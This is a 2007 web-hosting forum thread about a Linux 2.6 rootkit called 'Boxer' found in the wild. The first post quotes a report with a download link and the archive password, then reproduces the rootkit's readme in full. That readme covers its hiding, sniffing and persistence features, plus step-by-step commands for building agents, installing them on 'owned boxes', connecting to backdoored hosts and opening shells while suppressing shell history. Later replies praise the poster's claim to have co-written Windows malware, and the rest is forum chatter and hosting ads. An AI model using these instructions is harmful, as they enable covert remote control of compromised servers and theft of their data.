Go Back   Web Server Hosting Forum by BODHost > Support > Linux Server Hosting
 

Reply
 
Thread Tools Display Modes
  #1 (permalink)  
Old 08-02-07, 12:06
BOD Member
 
Join Date: Jul 2007
Posts: 296
Default 0day linux 2.6 rootkit in the wild

http://www.securityfocus.com/archive/75/473510

Quote:
I found one interesting tool on my server, with the
name 'Boxer 0.99 BETA3'. It's protected by ELFuck
linux executables obfuscator. Google doesn't know
anything about it.
Now, it is available at http://surfall.net/rel.tar.gz
(ELFuck password: 'notdead')
In the tar.gz

Quote:
BOXER
This technical information is being provided for evil purposes only

==
VERSION
0.99 BETA3


==
FEATURES
* Hidden process creation (hidden sockets (tcp/udp/unix/raw), hidden procfs info). Suckit style hidden files.
* Remote control interface.
- Authentication using RSA2048 keys.
- TCP-channel encryption with AES256 and RC4.
- Multiple (parallel) virtual connections inside one ?쐏hysical??TCP-connection. Each virtual connection can serve one of the following tasks:
a. remote command execution
b. shell sessions
c. file upload/download
d. Connections with other BOXER-servers and tunneling them to the client (creation connection chains: client->server1->server2).
* Tty sniffing
* Reboot-safe
* Ability to run 3rd party binaries (attached to main agent binary) when server reboots.
* Run on x86 32bit machines (kernel: 2.4.*, 2.6.* including 2.6.21).


==
USING BOXER
Main boxer binary can be used in two modes: interactive and non-interactive. To enter interactive mode you can simply run main boxer binary "./boxer".
First of all you need agent binary (binary to install to owned boxes) with attached public key:
* Create RSA keypair
* Create agent binary

a. key creation
* Create private key:
"./boxer keygen key_pvt"
OR (interactive)
"rksh />keygen key_pvt"
* Extract public key part:
"./boxer keypub key_pvt key_pub"
OR
"rksh />keypub key_pvt key_pub"
* Create keypack with the set of our public keys:
"./boxer keypack key_pack key_pub1 key_pub2 key_pub3"
OR
"rksh />keypack key_pack key_pub1 key_pub2 key_pub3"

b. agent-binary creation
* Create agent-binary
"./boxer conf"
OR
"rksh />conf"
* Attach keypack file to agent-binary. (OPTIONAL) Attach binary file (RECOMENDED: statically linked binary) to agent-binary. That binary will start with agent-binary.
"./boxer gen ./agent ./key_pack ./exec_bin exec_arg1 exec_arg2"
OR
"rksh />gen ./agent ./key_pack ./exec_bin exec_arg1 exec_arg2"


==
LOADING AND INSTALLING

"Load" - load agent binary into RAM without any filesystem changes. Agent will be online until first reboot. "Install" - make agent to "go online" after reboots. There are two ways to "load" and "install" binary:

* Loading with automatic install. In this case agent will be loaded into RAM and installed into system to autoload after reboots:
"./agent x"
(YOU CAN RUN ./agent x ONLY ON FRESH MACHINES - WITHOUT LOADED BOXER)

* Loading with manual install. Agent will be loaded into RAM:
"./agent s"
If you want to install binary, we should connect to box and type following command in interactive mode:
"rksh box>install"
With manual install you can test boxer on your boxes. If it works stable, you can later "install" it.


==
USING CLIENT

* Connecting to boxer-hosts.

1. You can connect to any open port. Client has the ability to scan remote host for open ports. To use this feature you need to set up port list to scan:

"rksh />set con ports 21 22 25 53 80 110 111"

2. Also you can define RSA key, that will be used by default in authentication process:

"rksh />set con key ./key_pvt"

3. And limit of connection attempts:

"rksh />set con tries 2

4. After setting parameters connect to servers:

"rksh />open www.backdoored.box:80"
"rksh www.backdoored.box>open second.backdoored.box"

* Using shell

1. Define shell binary to execute on the remote side:

"rksh />set sh bin /bin/bash"

2. Create local profile file to use with shell:

"
cat <<EOF > profile.boxer
> ulimit -S -c 0 > /dev/null 2>&1
>
> PATH=/bin:/sbin:/usr/bin:/usr/sbin
> HISTFILE=/dev/null
> USER="`id -un`"
> LOGNAME=$USER
> HOSTNAME=`/bin/hostname`
> TERM=xterm
>
> export PATH HISTFILE USER LOGNAME HOSTNAME TERM
> id
> w
> EOF
"

3. Load profile:

"rksh />set sh rc ./profile.boxer"

4. Enter shell:
"rksh www.backdoored.box>sh new"
5. Switch back to "rksh":
Ctrl+7


* Startup file

cat <<EOF > startup
set con ports 21 22 25 53 80 110 111
set con key ./key_pvt
set con tries 2
set sh bin /bin/bash
set sh rc ./profile.boxer
EOF

"rksh />run ./startup"


OTHER FEATURES
in interactive mode type:
"rksh />help"
__________________
insert sig here
Reply With Quote
  #2 (permalink)  
Old 08-02-07, 14:13
BOD Member
 
Join Date: Nov 2006
Posts: 271
Default

Securities should be the utmost importance. Continue Taslayer
Reply With Quote
  #3 (permalink)  
Old 08-03-07, 20:43
BOD Member
 
Join Date: Jul 2007
Posts: 296
Default

what part of im a C|EH dont you all get
__________________
insert sig here
Reply With Quote
  #4 (permalink)  
Old 08-13-07, 07:48
BOD Member
 
Join Date: Nov 2006
Posts: 271
Default

Yeah, we are aware of it.

I am the best Linux tech...
Reply With Quote
  #5 (permalink)  
Old 08-13-07, 15:54
BOD Member
 
Join Date: Jul 2007
Posts: 296
Default

well linux tech tell me the processes that are running on your box ;)
__________________
insert sig here
Reply With Quote
  #6 (permalink)  
Old 08-14-07, 10:32
Administrator
 
Join Date: Jul 2007
Posts: 85
Default

yes linux tech you should tell us the process which was asked by taslayer;)
Reply With Quote
  #7 (permalink)  
Old 08-14-07, 21:14
BOD Member
 
Join Date: Jul 2007
Posts: 296
Default

just a lil info on me for ppl who dont no
i was arrested at the age of 10 and banned from all electronics for 3 years, also i am one of the creators of the win32.randex
__________________
insert sig here
Reply With Quote
  #8 (permalink)  
Old 08-15-07, 06:08
BOD Member
 
Join Date: Nov 2006
Posts: 35
Default

Quote:
Originally Posted by taslayer View Post
just a lil info on me for ppl who dont no
i was arrested at the age of 10 and banned from all electronics for 3 years, also i am one of the creators of the win32.randex
Nice lil introduction about your achivements;) and that too at an early age.
Reply With Quote
  #9 (permalink)  
Old 08-15-07, 09:10
BOD Member
 
Join Date: Jul 2007
Posts: 16
Default

It's amazing at so small age you had done a very big job.:eek:
Reply With Quote
  #10 (permalink)  
Old 08-15-07, 09:53
Moderator
 
Join Date: Oct 2005
Posts: 346
Default

LOL

Great work!!!
Reply With Quote
  #11 (permalink)  
Old 08-27-07, 11:37
BOD Member
 
Join Date: Jul 2007
Posts: 296
Default

yups thank u :P
__________________
insert sig here
Reply With Quote
  #12 (permalink)  
Old 09-15-07, 11:28
BOD Member
 
Join Date: Nov 2005
Location: New Mexico
Posts: 273
Default

Thanks Tas and post some more topics on security
Reply With Quote
  #13 (permalink)  
Old 09-17-07, 05:41
BOD Member
 
Join Date: Jul 2007
Posts: 128
Default

Nice post! keep on posting
Reply With Quote
  #14 (permalink)  
Old 09-17-07, 10:29
Moderator
 
Join Date: Oct 2005
Posts: 346
Default

Check out the features of server management techniques provided by bodhost -

http://www.bodhost.com/dedicated_ser...nagement.shtml
Reply With Quote
  #15 (permalink)  
Old 09-18-07, 07:38
BOD Member
 
Join Date: Oct 2005
Posts: 117
Default

Yes I had seen that it's interesting
Reply With Quote
  #16 (permalink)  
Old 09-18-07, 11:42
Moderator
 
Join Date: Oct 2005
Posts: 346
Default

So al what did you learn from it....hehe
Reply With Quote
  #17 (permalink)  
Old 09-19-07, 06:20
BOD Member
 
Join Date: May 2007
Posts: 81
Default

bodhost's support is excellent and they are providing service with the latest technology.In short I want to say Bodhost is best
Reply With Quote
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are Off
Forum Jump


All times are GMT -6. The time now is 02:22.

Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.2.0
Copyright © 1999-2012, BODHost Ltd. All rights reserved.